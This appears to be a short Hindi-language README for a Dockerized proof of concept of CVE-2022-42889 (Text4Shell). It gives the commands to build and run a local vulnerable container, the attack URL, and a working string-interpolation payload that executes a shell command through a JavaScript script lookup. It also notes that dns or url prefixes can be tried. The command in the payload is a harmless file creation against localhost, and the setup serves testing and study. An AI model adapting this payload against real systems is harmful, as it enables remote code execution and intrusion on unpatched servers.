
CVE-2022-42889 Text4Shell के लिए Dockerized POC
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
आप dns या url प्रीफिक्स का उपयोग करके भी प्रयास कर सकते हैं।
कंटेनर आईडी प्राप्त करें
docker container ls
docker exec -it <container_id> bash
/tmp निर्देशिका में foo नामक फ़ाइल बनी दिखनी चाहिए):ls /tmp/
docker container stop <container_id>